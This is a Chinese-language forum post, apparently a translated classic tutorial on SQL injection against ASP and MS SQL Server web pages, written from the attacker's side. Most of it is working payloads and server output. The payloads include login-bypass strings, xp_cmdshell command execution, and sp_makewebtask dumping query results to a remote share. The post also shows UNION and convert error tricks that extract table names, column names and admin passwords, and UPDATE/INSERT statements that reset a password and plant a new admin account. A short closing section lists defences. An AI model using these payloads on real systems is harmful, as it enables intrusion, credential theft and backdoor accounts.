这篇文章不是在为阁下介绍什么新“玩意”,SQL注入攻击以前就一直广为流传着。我之所以现在才写这
篇文章是因为我想把我最近实验所得的某些经验与积累记录下来,希望能给予读者某些参考吧。你也可以
在“9.0我从哪里可以得到更多相关资料?”的栏目中找到更多其他人所写的、关于SQL注入技巧的相关资
料。

1.1什么是SQL注入?
这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击
者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请
求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将
该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否
有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领
域’区来达到攻击的目的。

1.2SQL注入需要什么(工具等)呢?
一个(些)网页浏览器。

2.0什么信息是你所需要找寻的呢?
首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等等。有的时候,某些HTML
页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以,有的时候你不会在URL路径中看到相关
的参数。尽管如此,你仍可以通过查看HTML的源代码中的"FORM"标签来辨别是否有参数传递,相关的代码
如下:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
在<FORM>与</FORM>的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着SQL注入。

2.1当你找不到有输入行为的页面时应该怎么办呢?
你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特殊URL,如:
http://duck/index.asp?id=10

3.0你应该如何测试这些缺陷是否存在呢?
首先先加入某些特殊的字符标记,输入如:
hi' or 1=1--
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分
的值,如:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1为什么使用的是' or 1=1--呢?
让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能
可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),
这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory='food'
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果
我们把该URL改成这样的话:
http://duck/index.asp?category=food' or 1=1--
现在我们的变量v_cat的值就等同于"food' or 1=1--"了,现在如果我们要重新代入那条SQL请求的话,
那条SQL请求将会是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾
部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单引号)。有的时候也
可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。
无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽
略最后的那个单引号的话,你可以尝试:
' or 'a'='a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0如何在SQL注入请求中加入即时执行命令?
能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命
令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权
限。我们可以使用MS SQL SERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命
令:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
若失败可以尝试一下使用"(双引号)代替'(单引号)。
上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上
面这条PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL
服务器就可以了:
#tcpdump icmp
如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能
是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。

5.0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用sp_makewebtask处理过程的相关请求写入URL:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION
_SCHEMA.TABLES"
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表
名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的,如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就
包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之
后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int
)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
table1' to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例
中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN ('table1')--
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE '%25login%25'--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
admin_login' to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login'--
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_id' to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_name' to a column of data type int.
/index.asp, line 5
若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下
面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'
,details')--
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我们需要的数据?
现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。
现在让我们问问"admin_login"表的第一个用户名是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
输出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
neo' to a column of data type int.
/index.asp, line 5
知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
neo'--
输出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
m4trix' to a column of data type int.
/index.asp, line 5
现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。

6.3如何获得数字串值?
在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法
得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应
的密码为"31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
trinity'--
这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例
子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UN
ION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些
数字型数据的。
为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试
用下面的这条请求来代替原来的请求吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM
admin_login where login_name='trinity'--
在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中'+'等于0x2b)。我
们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到
了数字串'31173',它也会变成'31173 morpheus'。
在执行了convert()函数后,系统会尝试将'31173 morpheus'转换为整数型,SQL服务器一定会返回这样
的ODBC错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
31173 morpheus' to a column of data type int.
/index.asp, line 5
现在你可以知道'trinity'的密码是'31173'了吧。

7.0如何在数据库中更新/插入数据?
当成功地收集到表中所有的列后,我们就可以在表中UPDATE(升级/修改)原有的数据或者INSERT(加入)新
的数据。打个比方,我们要修改帐号"neo"的密码:
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_na
me='neo'--
加入一条新的记录:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password
', 'details') VALUES (666,'neo2','newpas5','NA')--
现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。

8.0如何避免被SQL注入攻击?
过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象包括:
-用户的输入
-提交的URL请求中的参数部分
-从cookie中得到的数据
至于数字值,将其转换为整数型之前必须有SQL语句声明,或者用ISNUMERIC确定它为一个整型数。
修改“Startup and run SQL Server”的用户运行级别为低级别。
删除一系列你不需要的储存过程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0我从哪里可以得到更多相关资料?
我们最初接触到SQL注入攻击是在Rain Forest Puppy有关他入侵PacketStorm的文章中提到的。
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
一篇收集了ODBC错误信息的好文章:
http://www.blackhat.com/presentations/win-...1Litchfield.doc
关于在SQL SERVER中进行SQL注入的好文章:
http://www.owasp.org/asac/input_validation/sql.shtml
Senseport网站所著的关于SQL注入的文章:
http://www.sensepost.com/misc/SQLinsertion.htm
其他相关文档:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/Whi...QLInjection.pdf

TOP

发新话题